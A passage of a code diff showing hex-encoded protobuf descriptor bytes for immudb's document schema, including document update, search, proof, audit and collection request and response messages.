0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x22, 0x5a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, - 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, - 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, - 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, - 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, - 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, - 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, - 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, - 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, - 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, - 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, - 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, - 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, + 0x6e, 0x49, 0x64, 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, + 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, - 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, - 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, - 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, - 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5a, + 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 